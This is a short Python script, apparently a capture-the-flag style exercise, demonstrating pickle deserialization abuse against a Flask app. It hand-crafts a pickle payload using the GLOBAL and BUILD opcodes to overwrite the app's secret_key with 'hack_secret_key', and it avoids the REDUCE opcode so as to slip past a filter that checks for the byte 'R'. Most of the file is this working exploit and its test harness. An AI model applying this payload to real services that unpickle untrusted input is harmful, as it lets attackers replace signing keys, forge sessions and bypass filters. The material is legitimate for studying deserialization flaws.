pickle 反序列化 更改secret_key

# !/usr/bin/env python
# -*- coding: utf-8 -*-
# WXY is Big Baby

import pickle
import pickletools
import secret
import random
import base64
from flask import Flask

app = Flask(__name__)
app.secret_key = secret
# secret_key="123123" 本地新建一个secret.py 测试下

class Game:
    def __init__(self, number):
        self.usernumber = 100000000
        print(f"Game实例生成:\t{self.usernumber}")

    def play(self):
        random_number = random.randint(100, 1000000)
        if self.usernumber > random_number:
            print("success")
        else:
            print("fail")


number = int(9999)
game_data = base64.b64encode(pickle.dumps(Game(number), protocol=4)).decode()
GameInfo = game_data
mygame_info = base64.b64decode(GameInfo)
print(pickletools.optimize(mygame_info))
# b'\x80\x04\x95(\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x8c\x04Game\x93)\x81}\x8c\nusernumberJ\x00\xe1\xf5\x05sb.'
hack_mygame_info = b'''c__main__
secret
(S'secret_key'
S'hack_secret_key'
db0''' + pickletools.optimize(mygame_info)
if b"R" in hack_mygame_info:
    print("hack")
pickletools.dis(hack_mygame_info)
print(f"secret_key被覆盖前:\t{secret.secret_key}")
mygame = pickle.loads(hack_mygame_info)
print(f"secret_key被覆盖后:\t{secret.secret_key}")
if type(mygame) is Game:
    mygame.play()